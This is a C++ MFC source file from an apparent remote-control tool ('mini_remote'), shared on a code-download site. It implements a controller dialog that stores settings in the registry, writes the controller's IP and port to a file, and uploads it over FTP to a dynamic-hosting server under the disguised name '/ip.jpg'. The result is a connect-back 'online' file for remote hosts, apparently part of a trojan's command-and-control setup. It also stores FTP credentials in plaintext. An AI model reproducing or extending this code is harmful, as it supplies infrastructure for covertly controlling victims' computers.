www.pudn.com > mini_remote.zip > FTPUpdateDlg.cpp
// FTPUpdateDlg.cpp : implementation file
//
#include "stdafx.h"
#include "MainCtrl.h"
#include "FTPUpdateDlg.h"
#include "afxinet.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CFTPUpdateDlg dialog
CFTPUpdateDlg::CFTPUpdateDlg(CWnd* pParent /*=NULL*/)
: CDialog(CFTPUpdateDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CFTPUpdateDlg)
m_extport = 65521;
m_upport = 12345;
m_ftppass = _T("******");
m_ftpport = 21;
m_ftpuser = _T("tenax");
m_ipfile = _T("/ip.jpg");
m_ip = _T("127.0.0.1");
m_port = 12345;
m_ftpserver = _T("vip.6to23.com");
//}}AFX_DATA_INIT
}
void CFTPUpdateDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CFTPUpdateDlg)
DDX_Control(pDX, IDOK, m_btn_ok);
DDX_Control(pDX, IDC_UPDATAFTP, m_btn_2);
DDX_Control(pDX, IDC_EXIT, m_btn_1);
DDX_Control(pDX, IDC_EDIT_UPPORT, m_edit_9);
DDX_Control(pDX, IDC_EDIT_PORT, m_edit_8);
DDX_Control(pDX, IDC_EDIT_IPFILE, m_edit_7);
DDX_Control(pDX, IDC_EDIT_IP, m_edit_6);
DDX_Control(pDX, IDC_EDIT_FTPUSER, m_edit_5);
DDX_Control(pDX, IDC_EDIT_FTPSERVER, m_edit_4);
DDX_Control(pDX, IDC_EDIT_FTPPORT, m_edit_3);
DDX_Control(pDX, IDC_EDIT_FTPPASS, m_edit_2);
DDX_Control(pDX, IDC_EDI_EXTPORT, m_edit_1);
DDX_Text(pDX, IDC_EDI_EXTPORT, m_extport);
DDX_Text(pDX, IDC_EDIT_UPPORT, m_upport);
DDX_Text(pDX, IDC_EDIT_FTPPASS, m_ftppass);
DDX_Text(pDX, IDC_EDIT_FTPPORT, m_ftpport);
DDX_Text(pDX, IDC_EDIT_FTPUSER, m_ftpuser);
DDX_Text(pDX, IDC_EDIT_IPFILE, m_ipfile);
DDX_Text(pDX, IDC_EDIT_IP, m_ip);
DDX_Text(pDX, IDC_EDIT_PORT, m_port);
DDX_Text(pDX, IDC_EDIT_FTPSERVER, m_ftpserver);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CFTPUpdateDlg, CDialog)
//{{AFX_MSG_MAP(CFTPUpdateDlg)
ON_BN_CLICKED(IDC_EXIT, OnExit)
ON_BN_CLICKED(IDC_UPDATAFTP, OnUpdataftp)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CFTPUpdateDlg message handlers
void CFTPUpdateDlg::OnOK()
{
UpdateData(TRUE);
HKEY hKey;
DWORD dw;
DWORD listen_port = m_upport;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw);
RegSetValueEx(hKey,"Listen_Port",0L,REG_DWORD,(const BYTE *) &listen_port,sizeof(DWORD));
DWORD ext_port = m_extport;
RegSetValueEx(hKey,"Extination_Port",0L,REG_DWORD,(const BYTE *)&ext_port,sizeof(DWORD));
RegCloseKey(hKey);
MessageBox("修改成功,请关闭当前的再打开\r\n","ok",MB_OK);
CDialog::OnOK();
}
BOOL CFTPUpdateDlg::OnInitDialog()
{
CDialog::OnInitDialog();
m_btn_ok.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_ok.SetFontColor(RGB(100,50,280));
m_btn_1.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_1.SetFontColor(RGB(100,50,280));
m_btn_2.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_2.SetFontColor(RGB(100,50,280));
HKEY hKey;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
{
DWORD dwType;
DWORD dwSize=sizeof(DWORD);
RegQueryValueEx(hKey,"Extination_Port",NULL,&dwType,(BYTE *)&m_extport,&dwSize);
RegQueryValueEx(hKey,"Listen_Port",NULL,&dwType,(BYTE *)&m_port,&dwSize);
RegQueryValueEx(hKey,"Listen_Port",NULL,&dwType,(BYTE *)&m_upport,&dwSize);
if (RegQueryValueEx(hKey,"Ftp_Port",NULL,&dwType,(BYTE *)&m_ftpport,&dwSize) != ERROR_SUCCESS)
{
RegCloseKey(hKey);
UpdateData(FALSE);
return TRUE;
}
dwSize=1024;
char temp[1024]={0};
RegQueryValueEx(hKey,"Ftp_Server",NULL,&dwType,(BYTE *)temp,&dwSize);
m_ftpserver = temp;
dwSize=1024;
memset(temp,0,1024);
RegQueryValueEx(hKey,"Ftp_User",NULL,&dwType,(BYTE *)temp,&dwSize);
m_ftpuser = temp;
dwSize=1024;
memset(temp,0,1024);
RegQueryValueEx(hKey,"Ftp_Pass",NULL,&dwType,(BYTE *)temp,&dwSize);
m_ftppass = temp;
dwSize=1024;
memset(temp,0,1024);
RegQueryValueEx(hKey,"Ftp_File",NULL,&dwType,(BYTE *)temp,&dwSize);
m_ipfile = temp;
RegCloseKey(hKey);
UpdateData(FALSE);
}
return TRUE;
}
void CFTPUpdateDlg::OnExit()
{
CDialog::OnCancel();
}
void CFTPUpdateDlg::OnUpdataftp()
{
UpdateData(TRUE);
HKEY hKey;
DWORD dw;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw);
RegSetValueEx(hKey,"Ftp_Server",0L,REG_SZ,(const BYTE *)m_ftpserver.GetBuffer(0),m_ftpserver.GetLength());
RegSetValueEx(hKey,"Ftp_User",0L,REG_SZ,(const BYTE *)m_ftpuser.GetBuffer(0),m_ftpuser.GetLength());
RegSetValueEx(hKey,"Ftp_Pass",0L,REG_SZ,(const BYTE *)m_ftppass.GetBuffer(0),m_ftppass.GetLength());
RegSetValueEx(hKey,"Ftp_File",0L,REG_SZ,(const BYTE *)m_ipfile.GetBuffer(0),m_ipfile.GetLength());
DWORD ftp_port = m_ftpport;
RegSetValueEx(hKey,"Ftp_Port",0L,REG_DWORD,(const BYTE *)&ftp_port,sizeof(DWORD));
RegCloseKey(hKey);
char buf[1024]={0};
wsprintf(buf,"%s:%d\r\n",m_ip.GetBuffer(0),m_port);
CFile file;
file.Open("ip.txt",CFile::modeCreate|CFile::modeWrite);
file.Write(buf,strlen(buf));
file.Close();
CInternetSession* pSession;
CFtpConnection* pConnection;
pConnection=NULL;
pSession=new CInternetSession(AfxGetAppName(),1,PRE_CONFIG_INTERNET_ACCESS);
try
{
pConnection=pSession->GetFtpConnection(m_ftpserver,m_ftpuser,m_ftppass,m_ftpport);
}
catch (CInternetException* e)
{
AfxMessageBox("连接FTP服务器失败!");
e->Delete();
pConnection=NULL;
return;
}
if (pConnection!=NULL)
{
if (!pConnection->PutFile("ip.txt",m_ipfile))
{
AfxMessageBox("上传文件失败!");
pConnection->Close();
delete pConnection;
delete pSession;
return;
}
}
if (pConnection!=NULL)
{
pConnection->Close();
delete pConnection;
}
delete pSession;
MessageBox("在当前目录生成IP上线文件成功。\r\n如果更新不了到FTP的话你可以手\r\n工把该TXT放到你的FTP空间上(由于技术问题^_^)","OK",MB_ICONINFORMATION);
return;
}